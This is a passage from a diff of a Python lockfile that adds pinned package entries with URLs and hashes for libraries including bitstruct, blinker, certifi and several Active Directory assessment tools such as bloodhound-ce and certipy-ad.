"https://files.pythonhosted.org/packages/04/eb/f4151e0c7377a6e08a38108609ba5cede57986802757848688aeedd1b9e8/beautifulsoup4-4.13.5-py3-none-any.whl", hash = "sha256:642085eaa22233aceadff9c69651bc51e8bf3f874fb6d7104ece2beb24b47c4a", size = 105113, upload-time = "2025-08-24T14:06:14.884Z" }, +] + +[[package]] +name = "bitstruct" +version = "8.22.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8d/13/d8b56ef2e6b6ae2cc1b23e509ea7cc8d3423aa0d8a7d7634c23c0bf845e2/bitstruct-8.22.1.tar.gz", hash = "sha256:97588318c906c60d33129e0061dd830b03d793c517033d312487c75426d1e808", size = 35616, upload-time = "2026-02-17T14:14:23.296Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/67/c9/a6a74c645b8a8d151c9bc0830a66a20e293fecfddbe37f4d8f3e0fa12819/bitstruct-8.22.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9c250d8dbd6350dfd73cf4bccab700122072388bd388d284ada37149eeb49979", size = 37862, upload-time = "2026-02-17T14:12:58.826Z" }, + { url = "https://files.pythonhosted.org/packages/4e/c8/09a16455af0941635cf2f37c18a43d9bc7529e02f8b591c6c265c084ccdd/bitstruct-8.22.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7fb40f50be4e60cb7a345ca4ceb16afcbcfecfa7cedf1cded44b8e1d8b8c3109", size = 38387, upload-time = "2026-02-17T14:13:00.389Z" }, + { url = "https://files.pythonhosted.org/packages/c8/30/e66995833d4d9c01e74371a7e8a2ed0ee0d4d9f7eeb3e5de3603d3101862/bitstruct-8.22.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8ebcc2ad3b9addd4a6a409481754c78ade65a8d24a4d34352e37df9b48aeabea", size = 80590, upload-time = "2026-02-17T14:13:01.712Z" }, + { url = "https://files.pythonhosted.org/packages/79/3c/adaaeb93f37958221152ea6af85b10cef71b9c57a3481ad589540aff012e/bitstruct-8.22.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:ec4d4e8308b3098e4de43f7ccd05d626bf2e4b650bea2b5fec9581f7bd7b4d01", size = 84216, upload-time = "2026-02-17T14:13:02.666Z" }, + { url = "https://files.pythonhosted.org/packages/d8/2f/29022203b6c93a609e4e8f8ec5e92594522bc82a59bc2528415f3af65e73/bitstruct-8.22.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e44c42bbfa9540a3df261c9a9613a88e5e5df0ad3931bcc76b9f1cc215f4ece", size = 79627, upload-time = "2026-02-17T14:13:04.038Z" }, + { url = "https://files.pythonhosted.org/packages/28/ef/662577f57c11cf82926a9aa2081b798d5981fee759eb74439a3390218c66/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8140c51b2e663d0efba9a6f5a77be4f26f3e147e65579be83f7c9b370df56cbe", size = 79775, upload-time = "2026-02-17T14:13:05.645Z" }, + { url = "https://files.pythonhosted.org/packages/55/62/7d347087e330822cd433ce1e49dc049c5b26444cc8900d3436d2ddea5a27/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:f7e6bff01ea3765d28d8e426b49e6a0e4f581a4d47329f54d3a83f3f0c23380e", size = 75893, upload-time = "2026-02-17T14:13:06.537Z" }, + { url = "https://files.pythonhosted.org/packages/a7/4c/6b0e029339280377413c920f49114163d82fa4324703d877ac62637f9156/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9430cc3849c24549578210c3e185427d01bc48734acaa9d7d17a767b19719381", size = 79025, upload-time = "2026-02-17T14:13:07.446Z" }, + { url = "https://files.pythonhosted.org/packages/ba/bc/f6bb7e709a6b40a857d41be272b4e251a497e1aad73334c8d279f72abfb3/bitstruct-8.22.1-cp310-cp310-win32.whl", hash = "sha256:9a00e7077c81318a2d7aea6a5e2988301ef316621136ddede68b4a361afc7581", size = 34806, upload-time = "2026-02-17T14:13:08.371Z" }, + { url = "https://files.pythonhosted.org/packages/29/21/16ebf2b053e3e890f02435800ac6acc369e3a5c51e3b2b7304a23faf19cc/bitstruct-8.22.1-cp310-cp310-win_amd64.whl", hash = "sha256:43e3d8113263894e2ca107d2f7376f2767cb880a6f9952b0f66087545a230994", size = 36860, upload-time = "2026-02-17T14:13:09.264Z" }, + { url = "https://files.pythonhosted.org/packages/02/04/63f9b2569aaf89db734b685388cb6676f958f7fb4ba5566555a2c79f5fb8/bitstruct-8.22.1-cp310-cp310-win_arm64.whl", hash = "sha256:86f68adf8945b80007cfed2318277fc2d5de5fb253d7df5d7a703dc10b54e149", size = 35704, upload-time = "2026-02-17T14:13:10.055Z" }, + { url = "https://files.pythonhosted.org/packages/bd/48/7eae09e61478167ab084c503e384e203271c04213828db830af835fa8997/bitstruct-8.22.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a4d235cbdba2df0747d4e4a6a6d3d46505cc2b52b16e9d3d4431423401c565f6", size = 37853, upload-time = "2026-02-17T14:13:10.965Z" }, + { url = "https://files.pythonhosted.org/packages/58/5a/4a4790504f98328f5576f6b27d4366da4fcd00cf7d5e6871b546730905b5/bitstruct-8.22.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7b3c29ee922e68538c575667bdc924e3ef09d21da94fd48a4a430f9c32c70997", size = 38380, upload-time = "2026-02-17T14:13:12.322Z" }, + { url = "https://files.pythonhosted.org/packages/13/7b/156d71cb6b99e7b4e9802a1853a0f1dbdab5b4090c90eaee8eae1aa0371b/bitstruct-8.22.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a493a66fac64f989f3c8043e40f9ceb6b8169592c7e5a9d37a1409f00cb757a", size = 82235, upload-time = "2026-02-17T14:13:13.385Z" }, + { url = "https://files.pythonhosted.org/packages/92/e2/068ecb8078229bc9d3a0f53a6c988aba221e3fbb08ddaeb1305a24c30e8f/bitstruct-8.22.1-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:32f8ffe2f26f25dc4339e9c69acf2ba7ada877a377111bd2b1f6a8804953b51a", size = 86682, upload-time = "2026-02-17T14:13:14.823Z" }, + { url = "https://files.pythonhosted.org/packages/e3/a8/41c7461a2832480b431cbf1322cc3ce798adf3a321c99dbd614324ae793d/bitstruct-8.22.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:02bddf1893550a6e7e6fefb7065a222e1b10447f903cac4fbff38766df35712a", size = 81302, upload-time = "2026-02-17T14:13:16.235Z" }, + { url = "https://files.pythonhosted.org/packages/16/46/792ad10ada0b527b2811b75962f0bdd1a0268553116367348fdb54f974e2/bitstruct-8.22.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3e829b10672f5ea5ed60f9d835cc2f3c2e1190448429051719600a2f6d891a0a", size = 81456, upload-time = "2026-02-17T14:13:18.023Z" }, + { url = "https://files.pythonhosted.org/packages/a3/91/0a562d267ca5a39df1be2f556d88aba02739d046e455bc7cb163327d24dc/bitstruct-8.22.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:956a3998e5e031bc2d1c2312afb9f714ec6131621c40123d3bb79ff1b69b82a8", size = 77588, upload-time = "2026-02-17T14:13:18.912Z" }, + { url = "https://files.pythonhosted.org/packages/c6/e1/6046e08a8e8e0053cb4afb35e3c101d67d0fd6cf0e3a55f97f310c21feae/bitstruct-8.22.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:fa74a1b7426f94d1a4917944164230ef34aa85e5a01164d6dbc150a71f90c2ca", size = 80604, upload-time = "2026-02-17T14:13:19.964Z" }, + { url = "https://files.pythonhosted.org/packages/5e/24/c1791e0f8c9272453a6c2ac306979ebe499bc0afbe7b58b4852fcdacaf58/bitstruct-8.22.1-cp311-cp311-win32.whl", hash = "sha256:8fd1b73c9c2c613c385f9f4fd9feaabedf88c1c740bff25a4738b1c6a70d4111", size = 34796, upload-time = "2026-02-17T14:13:21.356Z" }, + { url = "https://files.pythonhosted.org/packages/b9/d2/e1434a6714e9a86e99ca9b1b98fe39f2427acb877ec916b71da52fffcb25/bitstruct-8.22.1-cp311-cp311-win_amd64.whl", hash = "sha256:419e3ce7d1d89a809a7d966d72de16cb869bd3fe80b587e5bc7cf80debd7df8d", size = 36846, upload-time = "2026-02-17T14:13:22.2Z" }, + { url = "https://files.pythonhosted.org/packages/0a/f7/1186d105b2be96bb6b1c0e49733ce8c447453eaa1da3cc7362c2815f1c10/bitstruct-8.22.1-cp311-cp311-win_arm64.whl", hash = "sha256:6e548bfc4e289cacae704458ac51c6c76188c305701bd14f3f4fec600fce58e8", size = 35698, upload-time = "2026-02-17T14:13:23.005Z" }, + { url = "https://files.pythonhosted.org/packages/a1/fe/54da38fdc4b4888cef6b330d0ea14ef787943f79bcb02aa5cd370379ea0d/bitstruct-8.22.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:18ff3842c89596f88307f458696ebdcbd4af718af9f0f2cad863102387200b26", size = 38219, upload-time = "2026-02-17T14:13:24.225Z" }, + { url = "https://files.pythonhosted.org/packages/85/b6/c24ea4436cebe30408a06bf93315b83e7ad6825d5f30c49a41b2af3e05d9/bitstruct-8.22.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:837629e72aaf247ee214d19ae0580571c2ba0ddeb3144dff12f7014cb8f3d94d", size = 38441, upload-time = "2026-02-17T14:13:25.642Z" }, + { url = "https://files.pythonhosted.org/packages/54/ff/2707c1c83e5484d6e14a30094f69d0ce681a66e107a9e7e8ac72fcd0f9d1/bitstruct-8.22.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2bef6f3309b39880e6f5ea4f274899062a3511eb630563858a8be6332c332eac", size = 82549, upload-time = "2026-02-17T14:13:27.026Z" }, + { url = "https://files.pythonhosted.org/packages/34/39/37ea1c149bf634eb679552242c5c96064dfb64bed030013bd409ff6736de/bitstruct-8.22.1-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5958ea7f61c45e6d769bcbd0f4357cb91f1ba5cbea9323855a1c45d8bcd03b34", size = 87441, upload-time = "2026-02-17T14:13:28.915Z" }, + { url = "https://files.pythonhosted.org/packages/fa/cf/9236415400d4d64009086c4051e36f4c386dc640146565e2219f36696624/bitstruct-8.22.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f965015d75e7cc949dff3783f82378a135fe67ac549a41d7b90eb0abf06fa81d", size = 81936, upload-time = "2026-02-17T14:13:29.877Z" }, + { url = "https://files.pythonhosted.org/packages/ec/e8/ec8e71a23ee71c84282416a245c4eff1de1cf40a2060ad19c95dca1ed374/bitstruct-8.22.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:88573f965ce5042113e236c74fdec828abfdabec3d1cceda1e9766c86de74978", size = 81701, upload-time = "2026-02-17T14:13:30.803Z" }, + { url = "https://files.pythonhosted.org/packages/73/c9/aa4f3b0af3dc0f5c35c5975dacbe82f77807d93b82017344b332d316d134/bitstruct-8.22.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:ec6eaf863c85d99fe3cdc6426c77f03320ff42d0905810cef73499f92c388a30", size = 78258, upload-time = "2026-02-17T14:13:31.741Z" }, + { url = "https://files.pythonhosted.org/packages/c9/fd/39823ce5c43b195a24ddfec7ecff04d7846b9e55071dd51f40b5a90f2e87/bitstruct-8.22.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6aeee6bfcdcf0d158cae706b1fe20f42c97b06bd778eca794aa097973e782c31", size = 81206, upload-time = "2026-02-17T14:13:32.686Z" }, + { url = "https://files.pythonhosted.org/packages/51/3c/aa5ef9272b3531dfb588a1125ebbfa0c2bbd298841905c4aeeac0f0e7449/bitstruct-8.22.1-cp312-cp312-win32.whl", hash = "sha256:275aeaf08bf3967ed7afa568c5d9726af17ff4b558f1d82e1c587118cad988c3", size = 34788, upload-time = "2026-02-17T14:13:33.609Z" }, + { url = "https://files.pythonhosted.org/packages/f3/db/aa9459a497b2a5c7406787437f280df71db5686670630c37d6e4fc736f71/bitstruct-8.22.1-cp312-cp312-win_amd64.whl", hash = "sha256:4d5bb7484ff55a18d4cc1370b9e4cd94893e2ec33d9eb985c313c1cbdca756e6", size = 36952, upload-time = "2026-02-17T14:13:34.482Z" }, + { url = "https://files.pythonhosted.org/packages/5b/fe/0bf9cf0ae93645eb09f6eb0b31244e1f2bf7d068a35170d60fde17a3ab1a/bitstruct-8.22.1-cp312-cp312-win_arm64.whl", hash = "sha256:a38e90197bd1bc87863e5180c5556af71528ad03940d41e7a74d602c2255c4ba", size = 35681, upload-time = "2026-02-17T14:13:35.527Z" }, + { url = "https://files.pythonhosted.org/packages/a0/d3/1063f68e4ffe3c28932fc34f49c2f21b3704955377ec4df2a1caa900b6c8/bitstruct-8.22.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ef0d8476eb20f1b0a46ffe0b85eaef8eac98005d6f758ed083e05ba26c404a19", size = 38220, upload-time = "2026-02-17T14:13:36.963Z" }, + { url = "https://files.pythonhosted.org/packages/e8/78/18bdc896cc681656211a97d4bbbf6c09d6b8e4cc047234e5cbf9461a418a/bitstruct-8.22.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:84ec7804eb606545fd6fcf2bac3a795737239fdc989faad88850a483a2b2af7a", size = 38445, upload-time = "2026-02-17T14:13:37.984Z" }, + { url = "https://files.pythonhosted.org/packages/20/e7/a6cc4565f07fcb2d159b2ee2c4d91943a3f7d89a14e1e52d0ebaf2bc43ba/bitstruct-8.22.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6fe6c4f4cbc2f5bc173d34538b5fe529b0fdd1e30e5d0a56cd7b108cc32d803d", size = 82572, upload-time = "2026-02-17T14:13:39.415Z" }, + { url = "https://files.pythonhosted.org/packages/7b/fd/bfae77420e5f6f03686bdff8fde3fd635cf6a0781205ab83d8ed217d5b67/bitstruct-8.22.1-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:356d89faf20264c72d0328b30a38a618c6b65db429b91cbd34f67dbc97dd42a6", size = 86065, upload-time = "2026-02-17T14:13:40.444Z" }, + { url = "https://files.pythonhosted.org/packages/09/89/b97cf4130b1c938e2e56a42f2b7ebe8776085a43299cc8469a0bbc7c674d/bitstruct-8.22.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98251f43c2991aa3bf660806b501cf94367dbdcc9c7461cc0cdc9724ddc7bb27", size = 81935, upload-time = "2026-02-17T14:13:41.589Z" }, + { url = "https://files.pythonhosted.org/packages/85/5f/021c426da87441e1a199e95d0c0eede25b326fa26eae8a6e5b21f042546f/bitstruct-8.22.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e753de82211d29aaa70f35af6a2d7f027f7487342e24dc98691575dbb2d2761f", size = 81755, upload-time = "2026-02-17T14:13:43.013Z" }, + { url = "https://files.pythonhosted.org/packages/be/ee/77fd07134cf7139e831285adc1a5662f14a055b86756170b28d9b14b6590/bitstruct-8.22.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:7065a241e9d282d6a62556fead7da369c1827a26ceb3eedd377113a021121a5d", size = 78313, upload-time = "2026-02-17T14:13:43.914Z" }, + { url = "https://files.pythonhosted.org/packages/cf/90/d51dae136ba5b82d18fb69f1cacc6e1ea0826e5d193c6d69dab28633e8fc/bitstruct-8.22.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:453043525cf86751868c76f9a32a92786ffbafbd0a48ae7fd2bedc012fa45ee9", size = 81258, upload-time = "2026-02-17T14:13:44.978Z" }, + { url = "https://files.pythonhosted.org/packages/14/56/0c82ef8eea87950a8d5f9775a2e62f192d82caf5c91aca8233aa9d72e5bf/bitstruct-8.22.1-cp313-cp313-win32.whl", hash = "sha256:264cd11f52e1b5f513cee6c01c75bcefdf8b7b4c2b1c78f8efa35ef268c033a6", size = 34783, upload-time = "2026-02-17T14:13:45.963Z" }, + { url = "https://files.pythonhosted.org/packages/60/2b/90ee07f1a77a2c4c64c6766ac1a50bce6308e35d9522dd473eb47d5ff918/bitstruct-8.22.1-cp313-cp313-win_amd64.whl", hash = "sha256:c4eecefb86b0762a2741f5f6810aac258a5dea58c288a331e972ce615ed3e2b7", size = 36953, upload-time = "2026-02-17T14:13:46.833Z" }, + { url = "https://files.pythonhosted.org/packages/91/89/7fe731dc87a92fba2a6556e2e1e714359a325ebc58c01609642fdaca7fac/bitstruct-8.22.1-cp313-cp313-win_arm64.whl", hash = "sha256:3db208565632f5579db254d78df77fc930cb0b23ca6f09151c948785146adda5", size = 35681, upload-time = "2026-02-17T14:13:47.79Z" }, + { url = "https://files.pythonhosted.org/packages/6d/c4/d991d48c416578ad53d41cbdedd310b820fc07c6b9de9e8fc5a3c6b1de3e/bitstruct-8.22.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:098f6b66f89e3bbe320dd31b55094b02c51f365a8ee8f75c0c99e98833eae6a8", size = 38279, upload-time = "2026-02-17T14:13:49.178Z" }, + { url = "https://files.pythonhosted.org/packages/53/d1/0441ca2efb2730bb3a71fff5ef834f9a4cc3aef58c2fb6835ac01462d801/bitstruct-8.22.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:2c5b1ef022b0d690b6707464ee1bfd394c79f9a9ef4e765faf1168056fa21337", size = 38460, upload-time = "2026-02-17T14:13:50.575Z" }, + { url = "https://files.pythonhosted.org/packages/83/36/b921507d86a1870fc2187f152add01110569390e20432da8a05a5e05cea0/bitstruct-8.22.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b94cb01f327e8154c4300fc690a69fd1d856064cbcc5b0bf2e8c2f090e40a5c7", size = 82588, upload-time = "2026-02-17T14:13:51.438Z" }, + { url = "https://files.pythonhosted.org/packages/2e/cf/c74a347fb44ba04526b70d2dd37e4715c3f66f8093db31bdbbdfc05bec06/bitstruct-8.22.1-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:8b8f262edb37b1bbf37581f29f64e8e879b87101e07257e56ba47b5d797a3364", size = 85929, upload-time = "2026-02-17T14:13:52.417Z" }, + { url = "https://files.pythonhosted.org/packages/e6/5e/3b5277a13e470c83e6903a4fe3527fd52c857f922c7d26f9466508096c4a/bitstruct-8.22.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f89b5a8057dff42383829f6fce9aadeba619c151685a90e0faf4ab53e940224b", size = 81811, upload-time = "2026-02-17T14:13:53.353Z" }, + { url = "https://files.pythonhosted.org/packages/d8/d7/153322cad8fc7e03646248f3ab5bf9d17e5f206a307bb26c036d288f09d1/bitstruct-8.22.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:10321fc31368eeaecb78a34b5dd5071749243fc3ce426ff3bb2e4038bfd11454", size = 81721, upload-time = "2026-02-17T14:13:54.813Z" }, + { url = "https://files.pythonhosted.org/packages/dc/eb/c88bbedc0621ac40d523505706a3ba897668847b60473d830635787dc20e/bitstruct-8.22.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:3f13a7df190dc54dddff97de7d2a8d1069e4022469e1d7aa66ae10f4eee04d3b", size = 77978, upload-time = "2026-02-17T14:13:55.767Z" }, + { url = "https://files.pythonhosted.org/packages/f1/03/4175dc4681d34ae09534c059bbcf170a8e45abceeb9f403f5af2905d27fa/bitstruct-8.22.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:bc084f5a7a8b258668ebde5e914a4c0290d496612161472eef079d469e49227e", size = 81102, upload-time = "2026-02-17T14:13:56.723Z" }, + { url = "https://files.pythonhosted.org/packages/55/1e/e9bb9201232c62848db370e63171a212c5b2af15e6ede5c8f6b990052fd6/bitstruct-8.22.1-cp314-cp314-win32.whl", hash = "sha256:ae701de781999fa4eac2242bc8b4525c267ed17d8025291c57c6f1bf1a85b6c0", size = 35155, upload-time = "2026-02-17T14:13:57.676Z" }, + { url = "https://files.pythonhosted.org/packages/6a/aa/9b171198410cf09c38996b648ea6b9ccaf31ced8e48a489b8e0e16b8c739/bitstruct-8.22.1-cp314-cp314-win_amd64.whl", hash = "sha256:f5acccd329319e9c9f1e03a4b3fd6b91a6e58ab1810932b1c6dafa64891d569b", size = 37382, upload-time = "2026-02-17T14:13:58.69Z" }, + { url = "https://files.pythonhosted.org/packages/e3/d9/c325024731326ac1fab4c17722961f8ada1391214b79885f8b0dce3b62d1/bitstruct-8.22.1-cp314-cp314-win_arm64.whl", hash = "sha256:7bca7c212a703f396f2558c76a5f07adb7b48bed3a128510eec381bc3ab9c7f2", size = 36161, upload-time = "2026-02-17T14:13:59.582Z" }, + { url = "https://files.pythonhosted.org/packages/1f/2e/fa88136155b77f401b85f99caf1064138c4dd161cb0836c37960559ddc42/bitstruct-8.22.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:c2e78952b2cc04d52f2acee6757198fee374f39e4f64d432382be54834d5044a", size = 38575, upload-time = "2026-02-17T14:14:00.448Z" }, + { url = "https://files.pythonhosted.org/packages/71/36/b6e0cdfa06a47f203238b3921269f74cbb9503d963d14961ef578a12c5a9/bitstruct-8.22.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:9b092f12bad0e900cc2fea3c0884b8c280370c7c4e9adde3fef46ea4686fe8f4", size = 38834, upload-time = "2026-02-17T14:14:01.343Z" }, + { url = "https://files.pythonhosted.org/packages/9b/cc/06d8360fa724838def3902bbfd5da27c81a8c83c6f32848a90d4c943f9a9/bitstruct-8.22.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:15e60bae7714d6312105fbc3e18185cf6638a4366f011f5d0306ac3a768e8406", size = 87733, upload-time = "2026-02-17T14:14:02.245Z" }, + { url = "https://files.pythonhosted.org/packages/94/3c/f4176c57c12f8af0eae25ca5d69213f62387fa98ab4a5ce0b48812f0ff2b/bitstruct-8.22.1-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5891d506486915120a073802bc8b391a1840327fc781bece88173fcef69300dd", size = 87975, upload-time = "2026-02-17T14:14:03.234Z" }, + { url = "https://files.pythonhosted.org/packages/5e/9f/5853794e0c91e859b08cee513eb359b87b0d55b1f3c670d12b3ab4666d56/bitstruct-8.22.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:68a7ed240b2448be339121a7b155c6a237460da236b6ba0c898861e156f7cd4b", size = 85772, upload-time = "2026-02-17T14:14:04.186Z" }, + { url = "https://files.pythonhosted.org/packages/cf/a3/aaa3b705f65afa76399e7fa5296ffec496d44762c8b6a88f1cef373b38d6/bitstruct-8.22.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:21b94ba5210acada44d092170daf885777df2043c5c7b82a2b39e4a0b9a98349", size = 86676, upload-time = "2026-02-17T14:14:05.129Z" }, + { url = "https://files.pythonhosted.org/packages/63/f8/1a14810028fc02e92685d97b133928c0a323f8ba6cfae5ffe2f7d2ec57f3/bitstruct-8.22.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:e7d38a321a00120109ce165a651afb3662e51d5a13134716548b6c0fc7b66987", size = 81658, upload-time = "2026-02-17T14:14:06.552Z" }, + { url = "https://files.pythonhosted.org/packages/84/3c/287eb7dda4be8a5cbddce9b7d12d58645ccb5c7669bf5555c653c749d022/bitstruct-8.22.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:505d18acd7cb2408bcde4009babb07d671a9b07ae4f3221b32bb332565452c6f", size = 85306, upload-time = "2026-02-17T14:14:07.574Z" }, + { url = "https://files.pythonhosted.org/packages/51/ef/5e5b26c6e85ce045902ef121e6fded15ec5486b6cb701b6e3ddf2d6b8949/bitstruct-8.22.1-cp314-cp314t-win32.whl", hash = "sha256:4ca7d883594451d1a5066e4a17ed3858ab7f8e26e419085b9c283e2d4c45eb25", size = 35604, upload-time = "2026-02-17T14:14:08.563Z" }, + { url = "https://files.pythonhosted.org/packages/26/71/74fbdb377e1dbff8945100e33e143acf8f2a9b859c4bee4e45759ed5da61/bitstruct-8.22.1-cp314-cp314t-win_amd64.whl", hash = "sha256:a8227add6ff956e559d00442dc1ce23e31450d42eb5c15fa87e45b3a7f0fb79d", size = 37819, upload-time = "2026-02-17T14:14:10.415Z" }, + { url = "https://files.pythonhosted.org/packages/1e/fa/3b735cdb1975cf3584a65e501b2c1e5e0c578711e3ed35248196c324fc49/bitstruct-8.22.1-cp314-cp314t-win_arm64.whl", hash = "sha256:ca5dbad59125547c14f29220ebe8d1cb46fcb3b50fbf16fb31f6ac190790b738", size = 36457, upload-time = "2026-02-17T14:14:11.331Z" }, +] + +[[package]] +name = "blinker" +version = "1.9.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/21/28/9b3f50ce0e048515135495f198351908d99540d69bfdc8c1d15b73dc55ce/blinker-1.9.0.tar.gz", hash = "sha256:b4ce2265a7abece45e7cc896e98dbebe6cead56bcf805a3d23136d145f5445bf", size = 22460, upload-time = "2024-11-08T17:25:47.436Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl", hash = "sha256:ba0efaa9080b619ff2f3459d1d500c57bddea4a6b424b60a91141db6fd2f08bc", size = 8458, upload-time = "2024-11-08T17:25:46.184Z" }, +] + +[[package]] +name = "bloodhound-ce" +version = "1.9.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "dnspython" }, + { name = "impacket" }, + { name = "ldap3" }, + { name = "pyasn1" }, + { name = "pycryptodome" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/93/38/74403e5730f3571a0cb42ddecc9b33af491eddb878db92be87b08add2180/bloodhound_ce-1.9.1.tar.gz", hash = "sha256:083df3dc3ad998edcff8fb63fdd8f5b464aab5fdac8e05cc9b3b6520210f79ab", size = 73209, upload-time = "2025-10-24T12:29:25.316Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f1/2b/6905e28beed94e06faec90a4d33bea746735334d48e9b1f8f6377c406938/bloodhound_ce-1.9.1-py3-none-any.whl", hash = "sha256:bb3bd6fb67b9337c738d4168b4f712b0d5544bb543c7405cc27977e61f67bab6", size = 85588, upload-time = "2025-10-24T12:29:23.95Z" }, +] + +[[package]] +name = "certifi" +version = "2026.4.22" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/25/ee/6caf7a40c36a1220410afe15a1cc64993a1f864871f698c0f93acb72842a/certifi-2026.4.22.tar.gz", hash = "sha256:8d455352a37b71bf76a79caa83a3d6c25afee4a385d632127b6afb3963f1c580", size = 137077, upload-time = "2026-04-22T11:26:11.191Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/22/30/7cd8fdcdfbc5b869528b079bfb76dcdf6056b1a2097a662e5e8c04f42965/certifi-2026.4.22-py3-none-any.whl", hash = "sha256:3cb2210c8f88ba2318d29b0388d1023c8492ff72ecdde4ebdaddbb13a31b1c4a", size = 135707, upload-time = "2026-04-22T11:26:09.372Z" }, +] + +[[package]] +name = "certihound" +version = "0.3.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "cryptography" }, + { name = "impacket" }, + { name = "ldap3" }, + { name = "pydantic" }, + { name = "rich" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/45/30/9a6ccbefa74b399abbc2a556937eb62e87e44ae6fd6cd238d585421da420/certihound-0.3.2.tar.gz", hash = "sha256:b92a08e1bcf98771aecbc4ed7c78ec934ce8f4b34bd8127965114c14f936529d", size = 72196, upload-time = "2026-04-26T10:58:07.869Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e6/41/a42e7351d28f2ef7c30edf27fd412365b89ff3efe4907d1839c9ece25990/certihound-0.3.2-py3-none-any.whl", hash = "sha256:c68b6f8efde09843685b616772445f0d68bff0865f54df5b12f576c1eebd1edd", size = 92903, upload-time = "2026-04-26T10:58:06.61Z" }, +] + +[[package]] +name = "certipy-ad" +version = "5.0.4" +source = { git = "https://github.com/Pennyw0rth/Certipy#49a4aa6b17d2246491a81f89b0d7d74b732c66d4" } +dependencies = [ + { name = "argcomplete" }, + { name = "asn1crypto" }, + { name = "beautifulsoup4" }, + { name = "cryptography" }, + { name = "dnspython" }, + { name = "httpx" }, + { name = "impacket" }, + { name = "ldap3" }, + { name = "pyasn1" }, + { name = "pycryptodome" }, + { name = "requests" }, +] + +[[package]] +name = "cffi" +version = "2.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pycparser", marker = "implementation_name != 'PyPy'" }, +] +sdist = { url = 